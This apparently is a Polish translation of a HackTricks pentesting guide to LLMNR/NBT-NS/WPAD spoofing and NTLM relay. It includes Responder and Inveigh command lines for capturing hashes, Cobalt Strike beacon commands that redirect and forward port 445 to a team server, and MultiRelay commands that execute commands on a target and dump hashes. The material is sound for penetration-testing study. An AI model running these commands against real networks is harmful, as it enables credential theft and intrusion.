Spoofing LLMNR, NBT-NS, mDNS/DNS i WPAD oraz ataki relayowe

Reading time: 6 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Protokoły sieciowe

Protokoły rozwiązywania nazw lokalnych

  • LLMNR, NBT-NS i mDNS:
  • Microsoft i inne systemy operacyjne używają LLMNR i NBT-NS do lokalnego rozwiązywania nazw, gdy DNS zawodzi. Podobnie systemy Apple i Linux używają mDNS.
  • Protokoły te są podatne na przechwytywanie i spoofing z powodu ich nieautoryzowanej, rozgłoszeniowej natury w UDP.
  • Responder może być używany do podszywania się pod usługi, wysyłając sfałszowane odpowiedzi do hostów zapytujących te protokoły.
  • Dalsze informacje na temat podszywania się pod usługi za pomocą Respondera można znaleźć tutaj.

Protokół automatycznego odkrywania proxy w sieci (WPAD)

  • WPAD pozwala przeglądarkom na automatyczne odkrywanie ustawień proxy.
  • Odkrywanie jest ułatwione przez DHCP, DNS lub przejście do LLMNR i NBT-NS, jeśli DNS zawiedzie.
  • Responder może automatyzować ataki WPAD, kierując klientów do złośliwych serwerów WPAD.

Responder do zatruwania protokołów

  • Responder to narzędzie używane do zatruwania zapytań LLMNR, NBT-NS i mDNS, selektywnie odpowiadając na podstawie typów zapytań, głównie celując w usługi SMB.
  • Jest preinstalowane w Kali Linux, konfigurowalne w /etc/responder/Responder.conf.
  • Responder wyświetla przechwycone hashe na ekranie i zapisuje je w katalogu /usr/share/responder/logs.
  • Obsługuje zarówno IPv4, jak i IPv6.
  • Wersja Windows Respondera jest dostępna tutaj.

Uruchamianie Respondera

  • Aby uruchomić Responder z domyślnymi ustawieniami: responder -I <Interface>
  • Dla bardziej agresywnego skanowania (z potencjalnymi skutkami ubocznymi): responder -I <Interface> -P -r -v
  • Techniki przechwytywania wyzwań/odpowiedzi NTLMv1 dla łatwiejszego łamania: responder -I <Interface> --lm --disable-ess
  • Podszywanie się pod WPAD można aktywować za pomocą: responder -I <Interface> --wpad
  • Żądania NetBIOS mogą być rozwiązywane do IP atakującego, a proxy uwierzytelniające można skonfigurować: responder.py -I <interface> -Pv

Zatruwanie DHCP za pomocą Respondera

  • Podszywanie się pod odpowiedzi DHCP może na stałe zatruć informacje o trasowaniu ofiary, oferując bardziej dyskretną alternatywę dla zatruwania ARP.
  • Wymaga to precyzyjnej wiedzy o konfiguracji sieci docelowej.
  • Uruchamianie ataku: ./Responder.py -I eth0 -Pdv
  • Ta metoda może skutecznie przechwytywać hashe NTLMv1/2, ale wymaga ostrożnego postępowania, aby uniknąć zakłóceń w sieci.

Przechwytywanie poświadczeń za pomocą Respondera

  • Responder będzie podszywał się pod usługi korzystające z wyżej wymienionych protokołów, przechwytując poświadczenia (zwykle NTLMv2 Challenge/Response), gdy użytkownik próbuje uwierzytelnić się w podszywających się usługach.
  • Można próbować obniżyć wersję do NetNTLMv1 lub wyłączyć ESS dla łatwiejszego łamania poświadczeń.

Ważne jest, aby zauważyć, że stosowanie tych technik powinno odbywać się legalnie i etycznie, zapewniając odpowiednie upoważnienie i unikając zakłóceń lub nieautoryzowanego dostępu.

Inveigh

Inveigh to narzędzie dla testerów penetracyjnych i zespołów red, zaprojektowane dla systemów Windows. Oferuje funkcjonalności podobne do Respondera, wykonując ataki spoofingowe i man-in-the-middle. Narzędzie ewoluowało z skryptu PowerShell do binarnego pliku C#, z Inveigh i InveighZero jako głównymi wersjami. Szczegółowe parametry i instrukcje można znaleźć w wiki.

Inveigh można obsługiwać za pomocą PowerShell:

powershell
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Lub wykonane jako binarne C#:

bash
Inveigh.exe

NTLM Relay Attack

Atak ten wykorzystuje sesje uwierzytelniania SMB do uzyskania dostępu do docelowej maszyny, przyznając powłokę systemową w przypadku sukcesu. Kluczowe wymagania wstępne obejmują:

  • Użytkownik uwierzytelniający musi mieć dostęp lokalnego administratora na hostie, na który jest przekazywane połączenie.
  • Podpisywanie SMB powinno być wyłączone.

445 Port Forwarding and Tunneling

W scenariuszach, w których bezpośrednie wprowadzenie do sieci nie jest możliwe, ruch na porcie 445 musi być przekierowany i tunelowany. Narzędzia takie jak PortBender pomagają w przekierowywaniu ruchu na porcie 445 do innego portu, co jest niezbędne, gdy dostęp lokalnego administratora jest dostępny do ładowania sterowników.

PortBender setup and operation in Cobalt Strike:

bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Inne narzędzia do ataku NTLM Relay

  • Metasploit: Skonfigurowany z proxy, szczegółami lokalnych i zdalnych hostów.
  • smbrelayx: Skrypt w Pythonie do relaying sesji SMB i wykonywania poleceń lub wdrażania backdoorów.
  • MultiRelay: Narzędzie z pakietu Responder do relaying konkretnych użytkowników lub wszystkich użytkowników, wykonywania poleceń lub zrzucania hashy.

Każde narzędzie można skonfigurować do działania przez proxy SOCKS, jeśli to konieczne, co umożliwia ataki nawet przy pośrednim dostępie do sieci.

Działanie MultiRelay

MultiRelay jest uruchamiane z katalogu /usr/share/responder/tools, celując w konkretne adresy IP lub użytkowników.

bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Te narzędzia i techniki tworzą kompleksowy zestaw do przeprowadzania ataków NTLM Relay w różnych środowiskach sieciowych.

Wymuszanie logowania NTLM

W systemie Windows możesz być w stanie wymusić, aby niektóre uprzywilejowane konta uwierzytelniały się na dowolnych maszynach. Przeczytaj następującą stronę, aby dowiedzieć się jak:

{{#ref}} ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md {{#endref}}

Odniesienia

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks